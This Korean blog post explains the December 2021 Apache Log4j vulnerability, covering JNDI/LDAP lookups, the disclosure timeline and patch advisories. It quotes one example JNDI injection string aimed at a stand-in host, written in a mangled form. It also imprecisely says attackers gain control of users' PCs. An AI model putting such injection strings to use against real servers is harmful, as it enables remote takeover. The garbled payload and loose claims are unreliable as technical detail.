본문 바로가기
IT세상 톺아보기

아파치 Log4j 보안 이슈

by 바쁘다바빠 할아버지 2021. 12. 14.
728x90
반응형

2021년 12월 들어 보안계 최고의 이슈가 터졌다.

 

가장 많이 사용되는 JAVA 에서 Log4j 관련 치명적인 보안문제가 있음이 알려진 것이다.

 

실재로 관련업체 여기저기서 전화가 빗발치고 있다. 

 

 

도대체 Log4j 이슈가 뭔가.

 

 

 

 


 

Log4j

 

Log4j는 자바, Kotlin, Scala 등에서 프로그램의 로그를 기록하는 라이브러리이다. 

 

이클립스와 이를 기반으로 한 전자정부 프레임웤, 안드로이드 스튜디오 등 개발 프레임워크에 포함되어 있으며 프로그램 실행 시 자동으로 지정된 경로에 로그을 저장한다.

 

 

JNDI와 LDAP

JNDI(Java Naming and Directory Interface)는 JAVA 프로그램에게 디렉토리 정보를 제공한다. 프로그램은 이를 통해 디렉토리 내의 JAVA 데이터에 접근한다.

이 서비스를 위해 다양한 인터페이스가 접목된다. 그 중 LDAP이 이번 사태의 요인이 되었다.

 

LDAP(Lightweight Directory Access Protocol)TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다. 

 

디렉토리 서비스 구성 예시

 

Log4j 보안 취약점

 

Log4j에서는 서비스의 편의성을 위해 ${Prefix:name} 과 같은 형식으로 JAVA 객체를 볼 수 있게 하는 문법이 포함되어있다.

 

제일 많이 알려진 예시는 ${java:version} 와 같은 것이다. 이를 통해 JAVA 버전을 확인할 수 있다. 

 

이런 문법은 로그가 기록될 때도 사용이 가능 했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 

 

이를 통해, 서버에 로그인하는 것만으로도 해커가 사용자의 PC를 사실상 원격조정 할 수 있게 되었다는 점이 가장 큰 이슈라고 할 수 있다. 

 

 

이 이슈는 2013년도 있었던 JNDI Lookup plugin support 라는 이슈로부터 알려졌다. Lookup 플러그인에 JNDI를 추가하려 한 것인데, 이 과정에서 취약점의 존재가 노출되었다. 

 

문제는, 이 문제가 거의 8년간 방치되어 왔다는데 있다. 

이 문제를 발견한 것은 2021년 11월 24일이다. 알리바바 클라우드 보안팀의 첸 이라는 사람이 발견했다고 전해진다.

 

현재 이에 대한 보안패치는 11월 30일 버전으로 Log4j 깃허브에 올라와 있다. 

 

이 문제가 세계적인 이슈가 된 것은, 12월 9일 한 트위터에 올라온 글과 10일 올라온 공지문 때문이다. 긴급 공지의 형식으로 된 글의 내용은 간단했다.

 

이 글을 보는 즉시 긴급 패치로 업그레이드 할 것.

 

 

 

 

국내에서는 KISA와 국정원 등이 12월 11일에 보안공지 및 패치 적용 등을 공지했고, 이를 언론이 다루면서 크게 알려지게 되었다. 이때 언론사가 뽑은 제목이 그야말로 선정적이었다. 

 

 

"컴퓨터 역사상 최악 취약점 발견" 전세계 보안업계 화들짝(종합)

 

 

모든 서버가 동시에 패치하는 것은 불가능하다. 따라서 이 이슈는 사실상 현재 진행 중이다. 

 

아래는 국정원에서 발표한 Log4j 취약점 보안패치 권고문이다.  링크를 걸어둔다.

 

 

728x90
반응형

댓글